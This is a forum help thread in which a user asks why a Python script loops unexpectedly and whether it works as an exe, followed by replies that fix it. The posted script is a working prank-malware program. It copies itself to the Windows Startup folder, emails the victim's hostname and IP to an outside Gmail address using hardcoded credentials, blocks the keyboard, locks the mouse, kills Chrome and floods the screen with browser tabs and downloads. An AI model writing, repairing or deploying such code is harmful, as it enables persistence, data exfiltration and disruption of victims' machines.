Python code unexpectedly looping?

Hi everyone! Thanks for looking at my post! My python code is randomly looping for some reason where its not supposed to and I have no idea why. My code is below and here is a link showing what happens when I open it as an exe:

I get the same unexpected looping when I run it in my code editor. Also for some reason when I turn the file into an exe the file does not seem to be able to locate the python script. If you need anything to help me with my python code let me know. Thanks in advance!

import keyboard
import random
import multiprocessing
import webbrowser
import time
import pyautogui
import os
import requests
import socket
import smtplib
from getpass import getuser

pyautogui.FAILSAFE = False
screenWidth, screenHeight = pyautogui.size()
h_name = socket.gethostname()
IP_addres = socket.gethostbyname(h_name)
user_name = getuser()
startup = 'C:\\Users\\{}\\AppData\\Roaming\\Microsoft\\Windows\\"Start Menu"\\Programs\\Startup'.format(user_name)

os.system("copy {} {}".format(__file__, startup))
print('yooooooo')
time.sleep(3)

EMAIL_ADDRESS = 'Hackersaredown@gmail.com'
EMAIL_PASSWORD = 'lxlfxwvumeulezvn'
with smtplib.SMTP('smtp.gmail.com', 587) as smtp:
    smtp.ehlo()
    smtp.starttls()
    smtp.ehlo()

    smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD)

    subject = 'Ladies and Gentlemen, we got em'
    body = f'Hacker has executed yexploit. {h_name}\'s ip address is {IP_addres}'

    msg = f'Subject: {subject}\n\n{body}'

    smtp.sendmail(EMAIL_ADDRESS, 'yexploithacks@gmail.com', msg)


print('OMG')
time.sleep(3)


def keyboard_block():
    for i in range(69696969696996969696969696969696969696969696969969696969696969699696969696969696696969966969696969):
        keyboard.block_key(i)



def rigroll():
    webbrowser.open('https://www.youtube.com/watch?v=dQw4w9WgXcQ%27')


def volumespam():
    while True:
        pyautogui.press('volumeup')


def kill_chrome():
    time.sleep(100)
    os.system("taskkill /im chrome.exe /f")


def lock_mouse():
    while True:
        pyautogui.moveTo(69, 420)


def why_not_cheat():
    webbrowser.open('https://www.bbc.com/future/article/20211206-why-are-some-people-compelled-to-cheat')


def minion_cheecks():
    webbrowser.open('https://ibb.co/3c2tWsP')


def minion_exercise ():
    webbrowser.open('https://i.pinimg.com/736x/b2/12/a6/b212a6c54c66a6ab82ac733b9b5d9c67.jpg')


def another_minion_exercise():
    webbrowser.open('https://i.redd.it/0zbzy7cperl81.jpg')


def minion_lgbt():
    webbrowser.open('https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcS8x6LKMt9HptI_6Q5fIWudY7zHR_PEP6PzFw&usqp=CAU')


def minion_car():
    webbrowser.open('https://pbs.twimg.com/media/FI02SfhWQAArgaX.jpg')


def madman_gaming():
    webbrowser.open('https://www.youtube.com/c/MadmanGamingofficial/featured')


def anti_mongtage():
    webbrowser.open('https://www.youtube.com/watch?v=MrxfFBJLO3k&t=53s')


def crossfire():
    webbrowser.open('https://www.youtube.com/watch?v=kb-KN49ywi8')


def tbg():
    webbrowser.open('https://www.youtube.com/watch?v=ScXHdj28njs')


def rocco():
    webbrowser.open('https://www.twitch.tv/videos/1604007484')


def augh():
    webbrowser.open('https://youtu.be/Oqrm-9Wy8iU')


def angry_bird():
    webbrowser.open('https://hypixel.net/attachments/ezgif-3-9abaab1a1d-jpg.3032606/')


def madman_short():
    webbrowser.open('https://www.youtube.com/shorts/pGrOq1bPptk')


def nails():
    webbrowser.open('https://www.youtube.com/shorts/YmTku61D840')


def corn():
    webbrowser.open('https://www.youtube.com/clip/Ugkx5dI4M3tbdXKgn7M0nae_asNi2aaeVOFN')


def pufferfish():
    webbrowser.open('https://www.youtube.com/watch?v=mwM76SacQc0')


def dream_sus():
    webbrowser.open('https://www.youtube.com/watch?v=YwuQ9O4qerE')


def veggietales_bass():
    webbrowser.open('https://www.youtube.com/watch?v=lwUprLtqtjg')


def india():
    webbrowser.open('https://www.youtube.com/watch?v=B0dtHZqeXsY')


def veggietales10hour():
    webbrowser.open('https://youtu.be/-YpfgwRbPUM?t=528')


def thomas():
    webbrowser.open('https://www.youtube.com/watch?v=fnNNtYUSEoU')


def tape():
    webbrowser.open('https://www.youtube.com/watch?v=CImBCLE5Gyk&t=127s')


def download_pictures():
    while True:
        picture_list = [minion_truck, among_us, sus_pokemon, minion_scream, minion_infant]
        random.choice(picture_list)()
        time.sleep(0.1)


def among_us():
    r = requests.get('https://i.ytimg.com/vi/WvHS7mwDiz4/maxresdefault.jpg')
    with open('amongus.png', 'wb') as f:
        f.write(r.content)


def sus_pokemon ():
    r = requests.get('https://www.mypokecard.com/my/galery/K64YkbUEEw42.jpg')
    with open('suspokemon.jpg', 'wb') as f:
        f.write(r.content)


def minion_truck ():
    r = requests.get('https://i.redd.it/44zezwhbadq81.jpg')
    with open('miniontruck.jpg', 'wb') as f:
        f.write(r.content)


def minion_anti ():
    r = requests.get('https://i.redd.it/ado402z546c81.jpg')
    with open('minionanti.jpg', 'wb') as f:
        f.write(r.content)


def minion_scream ():
    r = requests.get('https://i.redd.it/y1vpz2c7gt881.png')
    with open('minionscream.png', 'wb') as f:
        f.write(r.content)


def minion_infant ():
    r = requests.get('https://i.redd.it/mkwh5nnp3hs31.png')
    with open('minioninfant.png', 'wb') as f:
        f.write(r.content)


def random_functions():
    while True:
        my_list = [augh, augh, thomas, india, veggietales_bass, veggietales10hour, dream_sus, dream_sus, angry_bird, corn, nails, pufferfish, madman_short, why_not_cheat, minion_cheecks, anti_mongtage, crossfire, tbg, rocco, minion_cheecks, minion_car, minion_lgbt, minion_exercise, rigroll, rigroll, rigroll, rigroll, rigroll, rigroll]
        random.choice(my_list)()
        time.sleep(2)


if __name__ == "__main__":
    p1 = multiprocessing.Process(target=keyboard_block)
    p2 = multiprocessing.Process(target=volumespam)
    p3 = multiprocessing.Process(target=random_functions)
    p4 = multiprocessing.Process(target=kill_chrome)
    p5 = multiprocessing.Process(target=download_pictures)
    p6 = multiprocessing.Process(target=lock_mouse)

    p1.start()
    p2.start()
    p3.start()
    p4.start()
    p5.start()
    p6.start()

I have tried everything imaginable and it still doesn’t seem to fix the issue. The script should move itself to the target folder and should be able to not loop this. Again, the linked video shows what happens when it is run.
Thank you so much!

The multiprocessing module will import the script in order to run the functions in other processes, so any initialisation needs to be protected by the if __name__ == "__main__": part, including the part you currently have been the imports and the first function.

If you turn the script into an exe, and run the exe, there is no longer a Python script location as the script is imbedded inside the exe.

OK thanks Steven any suggestions for what could work?

Thank you so much Matthew! You are an absolute lifesaver. It worked.